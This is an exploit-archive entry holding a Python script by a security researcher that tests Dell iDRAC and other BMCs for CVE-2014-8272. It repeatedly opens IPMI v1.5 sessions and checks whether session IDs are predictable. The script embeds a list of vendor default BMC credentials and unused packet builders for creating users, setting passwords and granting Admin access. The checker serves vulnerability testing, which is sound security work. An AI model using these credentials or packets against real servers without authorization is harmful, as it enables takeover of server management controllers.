Dell iDRAC IPMI 1.5 Insufficient Session ID Randomness

Related Vulnerabilities: CVE-2014-8272  
Publish Date: 14 Jan 2015
                """
For testing purposes only.
 
(c) Yong Chuan, Koh 2014
"""
 
from time import sleep
from socket import *
from struct import *
from random import *
import sys, os, argparse
 
HOST = None
PORT = 623
 
bufsize = 1024
recv = ""
 
 
# create socket
UDPsock = socket(AF_INET,SOCK_DGRAM)
UDPsock.settimeout(2)
 
data = 21   #offset of data start
 
RMCP = ('\x06' +    #RMCP.version = ASF RMCP v1.0
    '\x00' +    #RMCP.reserved
    '\xFF' +    #RMCP.seq
    '\x07'      #RMCP.Type/Class = Normal_RMCP/IPMI
    )
 
 
 
def SessionHeader (ipmi, auth_type='None', seq_num=0, sess_id=0, pwd=None):
    auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}
 
    sess_header = ''
    sess_header += pack('<B', auth_types[auth_type])
    sess_header += pack('<L', seq_num)
    sess_header += pack('<L', sess_id)
    if auth_type is not 'None':
        raw = pwd + pack('<L', sess_id) + ipmi + pack('<L', seq_num) + pwd
        import hashlib
        h = hashlib.md5(raw)
        sess_header += h.digest()
    sess_header += pack('B', len(ipmi))
             
    return sess_header
 
 
class CreateIPMI ():
    def __init__ (self):
        self.priv_lvls = {'Reserved':0, 'Callback':1, 'User':2, 'Operator':3, 'Admin':4, 'OEM':5, 'NO ACCESS':15 }
        self.priv_lvls_2 = {0:'Reserved', 1:'Callback', 2:'User', 3:'Operator', 4:'Admin', 5:'OEM', 15:'NO ACCESS'}
        self.auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}
 
    def CheckSum (self, bytes):
 
        chksum = 0
        q = ''
        for i in bytes:
            q += '%02X ' %ord(i)
            chksum = (chksum + ord(i)) % 0x100
        if chksum > 0:
            chksum = 0x100 - chksum
 
        return pack('>B', chksum)
 
 
    def Header (self, cmd, seq_num=0x00):
        #only for IPMI v1.5
        cmds = {'Get Channel Auth Capabilities' : (0x06, 0x38), #(netfn, cmd_code)
            'Get Session Challenge'     : (0x06, 0x39),
            'Activate Session'      : (0x06, 0x3a),
            'Set Session Privilege Level'   : (0x06, 0x3b),
            'Close Session'         : (0x06, 0x3c),
            'Set User Access'       : (0x06, 0x43),
            'Get User Access'       : (0x06, 0x44),
            'Set User Name'         : (0x06, 0x45),
            'Get User Name'         : (0x06, 0x46),
            'Set User Password'     : (0x06, 0x47),
            'Get Chassis Status'        : (0x00, 0x01)}
        ipmi_header = ''
        ipmi_header += pack('<B', 0x20)          #target addr
        ipmi_header += pack('<B', cmds[cmd][0]<<2 | 0)     #netfn | target lun
        ipmi_header += self.CheckSum (ipmi_header)
        ipmi_header += pack('<B', 0x81)          #source addr
        ipmi_header += pack('<B', seq_num<<2 | 0)  #seq_num | source lun
        ipmi_header += pack('<B', cmds[cmd][1])      #IPMI message command
 
        return ipmi_header
 
 
    def GetChannelAuthenticationCapabilities (self, hdr_seq, chn=0x0E, priv_lvl='Admin'):
        ipmi = ''
        ipmi += self.Header('Get Channel Auth Capabilities', hdr_seq)
        ipmi += pack('<B', 0<<7 | chn)         #IPMI v1.5 | chn num (0-7, 14=current_chn, 15)
        ipmi += pack('<B', self.priv_lvls[priv_lvl]) #requested privilege level
        ipmi += self.CheckSum (ipmi[3:])
         
        return ipmi
 
 
    def GetSessionChallenge (self, hdr_seq, username, auth_type='MD5'):
        #only for IPMI v1.5
        ipmi = ''
        ipmi += self.Header('Get Session Challenge', hdr_seq)
        ipmi += pack('<B', self.auth_types[auth_type])   #authentication type
        ipmi += username                #user name
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
    def ActivateSession (self, hdr_seq, authcode, auth_type='MD5', priv_lvl='Admin'):
        #only for IPMI v1.5
        ipmi = ''
        ipmi += self.Header('Activate Session', hdr_seq)
        ipmi += pack('>B', self.auth_types[auth_type])
        ipmi += pack('>B', self.priv_lvls[priv_lvl])
        ipmi += authcode        #challenge string
        ipmi += pack('<L', 0xdeadb0b0)   #initial outbound seq num
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
    def SetSessionPrivilegeLevel (self, hdr_seq, priv_lvl='Admin'):
        #only for IPMI v1.5
        ipmi = ''
        ipmi += self.Header('Set Session Privilege Level', hdr_seq)
        ipmi += pack('>B', self.priv_lvls[priv_lvl])
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
    def CloseSession (self, hdr_seq, sess_id):
        ipmi = ''
        ipmi += self.Header ("Close Session", hdr_seq)
        ipmi += pack('<L', sess_id)
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
    def GetChassisStatus (self, hdr_seq):
        ipmi = ''
        ipmi += self.Header ("Get Chassis Status", hdr_seq)
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
    def GetUserAccess (self, hdr_seq, user_id, chn_num=0x0E):
        ipmi = ''
        ipmi += self.Header ("Get User Access", hdr_seq)
        ipmi += pack('>B', chn_num)      #chn_num = 0x0E = current channel
        ipmi += pack('>B', user_id)
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
    def GetUserName (self, hdr_seq, user_id=2):
        ipmi = ''
        ipmi += self.Header ("Get User Name", hdr_seq)
        ipmi += pack('>B', user_id)
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
    def SetUserName (self, hdr_seq, user_id, user_name):
        #Assign user_name to user_id, replaces if user_id is occupied
        ipmi = ''
        ipmi += self.Header ("Set User Name", hdr_seq)
        ipmi += pack('>B', user_id)
        ipmi += user_name.ljust(16, '\x00')
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
    def SetUserPassword (self, hdr_seq, user_id, password, op='set password'):
        ops = {'disable user':0, 'enable user':1, 'set password':2, 'test password':3}
        ipmi = ''
        ipmi += self.Header ("Set User Password", hdr_seq)
        ipmi += pack('>B', user_id)
        ipmi += pack('>B', ops[op])
        ipmi += password.ljust(16, '\x00') #IPMI v1.5: 16bytes | IPMI v2.0: 20bytes
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
    def SetUserAccess (self, hdr_seq, user_id, new_priv, chn=0x0E):
        ipmi = ''
        ipmi += self.Header ("Set User Access", hdr_seq)
        ipmi += pack('<B', 1<<7 | 0<<6 | 0<<5 | 1<<4 | chn)  #bit4=1=enable user for IPMI Messaging | chn=0xE=current channel
        ipmi += pack('>B', user_id)
        ipmi += pack('>B', self.priv_lvls[new_priv])
        ipmi += pack('>B', 0)
        ipmi += self.CheckSum(ipmi[3:])
 
        return ipmi
 
 
def SendUDP (pkt):
 
    global HOST, PORT, data
 
    res = ''
    code = ipmi_seq = 0xFFFF
    for i in range(5):
        try:
            UDPsock.sendto(pkt, (HOST, PORT))
            res = UDPsock.recv(bufsize)
        except Exception as e:
            print '[-] Socket Timeout: Try %d'%i
            sleep (0)
        else:
            #have received a reply
            if res[4:5] == '\x02':      #Session->AuthType = MD5
                data += 16
            code    = unpack('B',res[data-1:data])[0]
            ipmi_seq= unpack('B',res[data-3:data-2])[0]>>2
            if res[4:5] == '\x02':
                data -= 16
            break
    return code, ipmi_seq, res
 
 
def SetUpSession (username, pwd, priv='Admin', auth='MD5'):
 
    global data
 
    #Get Channel Authentication Capabilities
    ipmi = CreateIPMI().GetChannelAuthenticationCapabilities(0, chn=0xE, priv_lvl=priv)
    code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)
    if code != 0x00:
        return code, 0, 0, 0
    #print '[+]%-30s: %02X (%d)'%('Get Chn Auth Capabilities', code, ipmi_seq)
 
 
    #Get Session Challenge
    ipmi = CreateIPMI().GetSessionChallenge(1, username, 'MD5')
    code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)
    if code != 0x00:
                if code == 0xFFFF:
                        print "[-] BMC didn't respond to IPMI v1.5 session setup"
                        print "    If firmware had disabled it, then BMC is not vulnerable"
        return code, 0, 0, 0
    temp_sess_id    = unpack('<L', res[data:data+4])[0]
    challenge_str   = res[data+4:data+4+16]
    #print '[+]%-30s: %02X (%d)'%('Get Session Challenge', code, ipmi_seq)
 
 
    #Activate Session
    ipmi = CreateIPMI().ActivateSession(2, challenge_str, auth, priv)
    code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, auth, 0, temp_sess_id, pwd) + ipmi)
    if code != 0x00:
        return code, 0, 0, 0
    data += 16
    sess_auth_type          = unpack('B', res[data:data+1])[0]
    sess_id             = unpack('<L', res[data+1:data+1+4])[0]
    ini_inbound = sess_hdr_seq  = unpack('<L', res[data+5:data+5+4])[0]
    sess_priv_lvl           = unpack('B', res[data+9:data+9+1])[0]
    #print '[+]%-30s: %02X (%d)'%('Activate Session', code, ipmi_seq)
    #print '   %-30s: Session_ID %08X'%sess_id
    data -= 16
 
 
    #Set Session Privilege Level
    ipmi = CreateIPMI().SetSessionPrivilegeLevel(3, priv)
    code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_hdr_seq, sess_id) + ipmi)
    sess_hdr_seq += 1
    if code != 0x00:
        return code, 0, 0, 0
    new_priv_lvl = unpack('B', res[data:data+1])[0]
    #print '[+]%-30s: %02X (%d)'%('Set Session Priv Level', code, ipmi_seq)
 
 
    return code, temp_sess_id, sess_hdr_seq, sess_id
     
 
def CloseSession (sess_seq, sess_id):
 
    global data
 
    #Close Session
    ipmi = CreateIPMI().CloseSession(5, sess_id)
    code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)
    #print '[+]%-30s: %02X (%d)'%('Close Session', code, ipmi_seq)
 
    return code
 
 
def CheckSessionAlive(sess_seq, sess_id):
    #SetUserPassword(): "user enable <user_id>"
    ipmi = CreateIPMI().GetChassisStatus(31)
    code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)
    print '[+] %-35s: %02X (%d)'%('CheckSessionAlive->GetChassisStatus', code, ipmi_seq)
    sess_seq += 1
     
    return sess_seq
 
 
 
 
 
def banner():
        print ("######################################################\n"+\
               "## This tool checks whether a BMC machine is vulnerable to CVE-2014-8272\n"+\
               "## (http://www.kb.cert.org/vuls/id/843044)\n"+\
               "## by logging the TemporarySessionID/SessionID in each IPMI v1.5 session,\n"+\
               "## and checking that these values are incremental\n"+\
               "## \n"+\
               "## Author:  Yong Chuan, Koh\n"+\
               "## Email:   yongchuan.koh@mwrinfosecurity.com\n"+\
               "## (c) Yong Chuan, Koh 2014\n"+\
               "######################################################\n")
 
 
def main():
 
        banner()
         
        #default usernames/passwords (https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi)
        vendors = {"HP"         :{"user":"Administrator",       "pwd":""},     #no default pwd: <factory randomized 8-character string>
                   "DELL"       :{"user":"root",                "pwd":"calvin"},
                   "IBM"        :{"user":"USERID",              "pwd":"PASSW0RD"},
                   "FUJITSU"    :{"user":"admin",               "pwd":"admin"},
                   "SUPERMICRO" :{"user":"ADMIN",               "pwd":"ADMIN"},
                   "ORACLE"     :{"user":"root",                "pwd":"changeme"},
                   "ASUS"       :{"user":"admin",               "pwd":"admin"}
                   }
         
        arg = argparse.ArgumentParser(description="Test for CVE-2014-8272: Use of Insufficiently Random Values")
        arg.add_argument("-i", "--ip", required=True, help="IP address of BMC server")
        arg.add_argument("-u", "--udpport", nargs="?", default=623, type=int, help="Port of BMC server (optional: default 623)")
        arg.add_argument("-v", "--vendor", nargs="?", help="Server vendor of BMC (optional: for default BMC credentials)")
        arg.add_argument("-n", "--username", nargs="?", default=None, help="Username of BMC account (optional: for non-default credentials)")
        arg.add_argument("-p", "--password", nargs="?", default=None, help="Password of BMC account (optional: for non-default credentials)")
 
        args = arg.parse_args()
 
        if args.vendor is not None: args.vendor = args.vendor.upper()
        if (args.vendor is None or args.vendor not in vendors.keys()) and (args.username is None or args.password is None):
                print "[-] Error: -n and -p are required because -v is not specified/in default list"
                print "    Vendors with Default Accounts"
                print "    -----------------------------------"
                for vendor,acct in vendors.iteritems():
                        print "    %s: username='%s', password='%s'"%(vendor,acct["user"],acct["pwd"])
                sys.exit(1)
         
        if args.username is None:   args.username = vendors[args.vendor]["user"].ljust(16, '\x00')
        if args.password is None:   args.password = vendors[args.vendor]["pwd"].ljust(16, '\x00')
 
 
        global HOST, PORT
        HOST = args.ip 
        PORT = args.udpport
 
        print "Script Parameters"
        print "-------------------------"
        print "IP       : %s"%HOST                       
        print "Port     : %d"%PORT
        print "Username : %s"%args.username
        print "Password : %s"%args.password
 
        session_ids = []
        for i in xrange(0x80):  #do not go beyond 0xFF, because of how session_ids is checked for incremental later
                try:
                        code, temp_sess_id, sess_seq, sess_id = SetUpSession (args.username, args.password, priv='Admin', auth='MD5')
                        if code == 0:
                                session_ids.append(temp_sess_id)
                                session_ids.append(sess_id)
                                print '[+%04X] temp_sess_id=%08X, sess_id=%08X'%(i, temp_sess_id, sess_id)
                        else:
                                #print '[-%04X] SetUp Session: Trying again after timeout 5s'%(i)
                                sleep(5)
                                continue
 
 
                        code = CloseSession (sess_seq, sess_id)
                        if code == 0:
                                #print '[+%04X] Close Session OK'%(i)
                                i += 1
                                sleep (0.5)
                        else:
                                #print '[-%04X] Close Session fail: Wait for natural timeout (60+/-3s)'%(i)
                                sleep(65)
 
                except Exception as e:
                        exc_type, exc_obj, exc_tb = sys.exc_info()
                        fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
                        print (exc_type, fname, exc_tb.tb_lineno)
 
 
        session_ids = session_ids[:0xFF]
         
        #get the first incremental diff
        const_diff = None
        for i in xrange(1, len(session_ids)):
                if session_ids[i-1] < session_ids[i]:
                        const_diff = session_ids[i] - session_ids[i-1]
                        break
        #check if session_ids are increasing at a fixed value
        vulnerable = True
        crossed_value_boundary = 0
        for i in xrange(1, len(session_ids)):
 
                if session_ids[i]-session_ids[i-1] != const_diff:
                        if crossed_value_boundary < 2:
                                crossed_value_boundary += 1
                        else:
                                vulnerable = False
 
        if vulnerable:
                print "Conclusion: BMC is vulnerable to CVE-2014-8272"
        else:
                print "Conclusion: BMC is not vulnerable to CVE-2014-8272"
 
         
         
 
 
 
if __name__ == "__main__":
    main()

<p>